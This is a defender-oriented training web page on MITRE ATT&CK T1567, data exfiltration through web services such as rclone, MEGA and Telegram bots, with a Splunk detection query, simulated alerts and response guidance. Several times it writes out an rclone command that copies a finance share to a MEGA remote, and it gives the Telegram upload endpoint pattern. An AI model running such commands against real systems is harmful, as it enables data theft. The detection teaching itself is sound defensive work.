Skip to main content
T1567Exfiltrationmedium difficulty

Exfiltration Over Web Service

Exfiltration Over Web Service (T1567) is data theft that hides inside traffic your firewall already allows: instead of a bespoke C2 channel, the attacker pushes stolen files out through rclone to cloud storage, a mega.nz upload, or a Telegram bot API call. Detection has to shift from 'is this malware?' to 'why is this host suddenly syncing gigabytes to a consumer file-sharing service?'.

Practice detecting Exfiltration Over Web Service on realistic SIEM, XDR, Firewall alerts in SOCSimulator Operations.

SIEMXDRFirewall

What is Exfiltration Over Web Service?

Exfiltration Over Web Service is documented as technique T1567 in MITRE ATT&CK® v19.1 under the Exfiltration tactic. Detection requires visibility into SIEM, XDR, Firewall telemetry.

The core move is picking a destination your organization already trusts with outbound traffic. Rclone is the workhorse: it speaks the API of dozens of cloud backends (MEGA, pCloud, S3-compatible buckets, FTP) and a single command like rclone copy D:\Finance\ mega:backup --config rc.conf --ignore-existing moves an entire share to attacker-controlled cloud storage in one line. Because rclone is a legitimate open-source sync tool, EDR products often see it as a signed, known binary rather than malware, and the traffic itself is unremarkable HTTPS to a domain like storage.googleapis.com or mega.co.nz.

Beyond rclone, the same technique shows up as a browser upload to transfer.sh or a code-repository push (T1567.001), or as an HTTP POST to a Telegram bot endpoint (api.telegram.org/bot<token>/sendDocument), which lets an attacker exfiltrate through a channel the target already allows for chat or notification integrations. All of these variants share the same operational logic: reuse infrastructure the firewall permits, ride TLS so payload inspection is blind, and blend into background SaaS traffic instead of standing up dedicated C2.

Operators typically stage first. Files get collected into a target directory or compressed into an archive (T1560) to reduce transfer time and hide file extensions from content-aware DLP, then the exfil tool runs once against a small number of destination hosts. The rclone config file itself is a useful artifact: attackers drop it in a writable path like C:\Users\Public rather than rclone's normal config directory, because they installed the binary fresh rather than reusing an admin's existing setup.

Where Exfiltration Over Web Service fits in an attack

Exfiltration over a web service is a late-stage action. The attacker has already achieved initial access, escalated privileges enough to reach the target file shares, and moved laterally to the hosts holding the data worth stealing. In ransomware intrusions this step runs before encryption, not after: the operator wants proof of theft for a double-extortion demand, so the upload has to finish while the environment is still healthy enough to have working internet egress.

The SigmaHQ rule cited above ties rclone abuse to REvil, Conti, and FiveHands intrusions, where operators pair a Cobalt Strike foothold for the intrusion with rclone for the theft. The pattern is consistent across those cases: collection, archive, then bulk sync to cloud storage minutes to hours before the encryptor runs. For a defender, a confirmed rclone-to-cloud-storage event on a file server should be treated as a countdown to encryption, not an isolated policy violation.

Detection Strategies

The following detection strategies help SOC analysts identify Exfiltration Over Web Service activity. These methods apply across SIEM, XDR, Firewall environments and can be implemented as detection rules, correlation queries, or behavioral analytics in your security platform.

SPL
index=proxy sourcetype=proxy
  http_user_agent="rclone/v*"
| stats count, sum(bytes_out) as total_bytes_out, values(dest_host) as destinations
    by src_ip, http_user_agent
| where total_bytes_out > 104857600
| table _time, src_ip, http_user_agent, destinations, total_bytes_out

Catches rclone's default user-agent string in proxy logs, then filters to sessions moving more than 100 MB. Mirrors SigmaHQ's 'Rclone Activity via Proxy' rule, which watches the same rclone/v* signature since the tool does not spoof it by default.

Simulated example generated by SOCSimulator Research
_time: 2026-07-14 22:09:03
sourcetype: proxy
src_ip: 10.20.4.31
dest_host: storage.googleapis.com
http_user_agent: rclone/v1.66.0
http_method: PUT
bytes_out: 2148003912
status: 200

Tuning and false positives

Legitimate use exists on both sides of this detection. IT and DevOps teams genuinely use rclone for backup jobs and cloud migrations, and Telegram integrations for alerting or chatops are common in engineering orgs. A user-agent match on rclone/v* or a connection to api.telegram.org is not proof of malice by itself; it is proof the tool ran, and the tool has honest uses.

The signal that separates theft from sanctioned automation is context: which account ran it, from where, against which remote, and whether that remote was ever approved. Build an allow-list of the specific rclone configs, service accounts, and destination remotes your backup and DevOps teams actually use, then alert on anything outside that set, especially personal-tier consumer remotes (mega, pcloud) rather than corporate S3 buckets. A config file sitting in C:\Users\Public or a temp directory instead of the admin's normal profile path is a strong tell that the run is unauthorized. Correlate with recent archive creation and off-hours timing before escalating; a scheduled 2 a.m. backup job to a known bucket is routine, the same upload from a workstation that has never run rclone before is not.

Example Alerts

These realistic alert examples show what Exfiltration Over Web Service looks like in your security tools. Use them to tune detection rules and train analysts to recognize true positives versus false positives in live environments.

CriticalXDR

Rclone Sync to Cloud Storage from File Server

rclone.exe on FS-02.corp.local ran rclone copy D:\Finance\ mega:backup --config C:\Users\Public\rc.conf --ignore-existing --transfers 8 from a cmd.exe parent under the account svc_reports. The account has no legitimate reason to hold a personal MEGA remote, and the config file sits outside any standard rclone install path.

HighSIEM

Rclone User-Agent Detected in Proxy Logs

Proxy logs recorded 340 requests in six minutes carrying the user-agent rclone/v1.66.0 from WKS-ACC-07 to storage.googleapis.com, totaling 2.1 GB outbound. No rclone deployment is authorized for that workstation, and the volume matches a bulk cloud-storage upload rather than routine browsing.

HighFirewall

First-Seen Egress to Mega.nz from Backup Host

BKP-SRV-01 initiated an outbound TLS session to api.mega.co.nz on 443, a destination with zero prior connection history for that host over the last 90 days. The connection followed a large archive-creation event on the same server 40 minutes earlier, consistent with staged data being pushed to consumer cloud storage.

Responding to Exfiltration Over Web Service

First question: does an approved backup, sync, or chatops workflow explain this account, host, and destination? Check the config file path, the account's normal duties, and whether the destination remote appears in your sanctioned list. If none of that lines up, pull the last hour of activity on the source host: archive creation, mass file access on the share the upload came from, and any prior lateral-movement or credential-theft alerts on the same account, since exfiltration rarely arrives without those precursors.

If the upload is unauthorized, treat it as active data theft and, in a ransomware-adjacent environment, as a likely precursor to encryption within the same shift. Capture the bytes-out total and destination before you cut access, since that scopes the breach for legal and disclosure purposes. Block the destination at the perimeter, revoke or reset the account's credentials, and isolate the source host if the transfer is still in progress; a partial exfiltration you can interrupt is materially better than a complete one. Preserve the rclone config and command history for IR rather than deleting it, it is your clearest evidence of what left and where it went.

Frequently Asked Questions

How do SOC analysts detect Exfiltration Over Web Service?
Detection centers on SIEM, XDR, Firewall telemetry for the exfiltration phase of the attack. Alert on rclone.exe (or a renamed copy with the 'Rsync for cloud storage' file description) executing with copy, sync, --config, or --ignore-existing on its command line, especially against remotes named mega, pcloud, or an S3-style endpoint. Watch proxy and web logs for the rclone/v* user-agent string; rclone does not spoof its user-agent by default, so this single string is a high-fidelity signal even when the binary itself was renamed.
What does a Exfiltration Over Web Service alert look like?
A representative XDR detection is "Rclone Sync to Cloud Storage from File Server" (critical severity): rclone.exe on FS-02.corp.local ran rclone copy D:\Finance\ mega:backup --config C:\Users\Public\rc.conf --ignore-existing --transfers 8 from a cmd.exe parent under the account svc_reports. The account has no legitimate reason to hold a personal MEGA remote, and the config file sits outside any standard rclone install path.
Which tools detect Exfiltration Over Web Service, and how can I practice?
Exfiltration Over Web Service (T1567) is best surfaced with SIEM, XDR, Firewall telemetry, which exposes the exfiltration signals described above. Practice detecting it on those exact consoles in SOCSimulator Operations, free.

Practice Exfiltration Over Web Service in a Free Room

Investigate Exfiltration Over Web Service on realistic SIEM, XDR, and firewall consoles, free.

FortiOS Bypass to Hunters International Ransomware

FortiOS Bypass to Hunters International Ransomware

Operators consistent with the Hunters International ransomware group abuse a FortiOS super-admin authentication bypass on an internet-facing FortiGate, plant rogue accounts, pivot over the SSL-VPN tunnel by RDP, sweep the network with Advanced IP and Port Scanner, and push roughly 6.8 GB of share data to a single external host over SFTP before running the encrypter. Work the FortiGate edge, the directory records, the perimeter egress, and the endpoint process tree to reconstruct the intrusion from entry to encryption.

30m·256 tasks
View Operation
Malicious npm Package: Postinstall Infostealer

Malicious npm Package: Postinstall Infostealer

A developer at a software company installs a typosquatted npm package. The package's postinstall hook silently reads environment variables, SSH keys, and cloud credentials from the user profile and POSTs them to an attacker endpoint before the terminal even finishes. Trace the process tree, the file reads, and the exfiltration traffic to reconstruct the full chain.

25m·256 tasks
View Operation
Cleo MFT Exploitation: Cl0p Data Theft (CVE-2024-50623)

Cleo MFT Exploitation: Cl0p Data Theft (CVE-2024-50623)

A Cleo Harmony managed file transfer server is compromised through an unauthenticated file-write vulnerability in its autorun directory (CVE-2024-55956). When the service restarts, the planted XML triggers a Java loader that stages a backdoor, provisions a rogue account, and streams stored transfer files to external infrastructure. Reconstruct the chain from the Cleo web logs, Windows event logs, and perimeter firewall.

50m·507 tasks
View Operation
Glossary

What is Exfiltration? SOC Glossary

Data exfiltration is the unauthorized transfer of sensitive data out of a victim environment to attacker-controlled infr…

Read more
Glossary

What is DLP? SOC Glossary

Data Loss Prevention (DLP) is a set of technologies and policies that detect and prevent unauthorized transmission, stor…

Read more
Glossary

What is NDR? SOC Glossary

Network Detection and Response (NDR) is a security platform that passively monitors network traffic, using machine learn…

Read more
Glossary

What is Firewall? SOC Glossary

A firewall is a network security control that inspects traffic crossing a boundary and permits or denies it against a co…

Read more
Career Path

DFIR Analyst Career Guide: Salary & Skills

DFIR Analysts combine forensic investigation with incident response. You collect and analyze digital evidence from compr…

Read more
Career Path

Incident Responder Career Guide: Salary & Skills

Incident Responders lead the technical response when confirmed breaches happen. You coordinate containment, run forensic…

Read more
Tool

SIEM Training Console: SOCSimulator

The SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…

Read more
Tool

XDR Training Console: SOCSimulator

The XDR console in SOCSimulator replicates the investigation workflow of platforms like CrowdStrike Falcon, Microsoft De…

Read more
Tool

Firewall Training Console: SOCSimulator

The Firewall console in SOCSimulator replicates the log analysis experience of enterprise platforms like Palo Alto Netwo…

Read more
Comparison

SOCSimulator Vs. Letsdefend: Platform Comparison

SOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…

Read more
Playbook

Data Exfiltration Investigation: Investigation Playbook

When monitoring detects large outbound data transfers, unusual cloud storage uploads, or archive file creation on sensit…

Read more
Free Room

Hidden in the Pixels: LSB Steganography Exfil From an Infected Endpoint

medium difficulty room covering T1567

Read more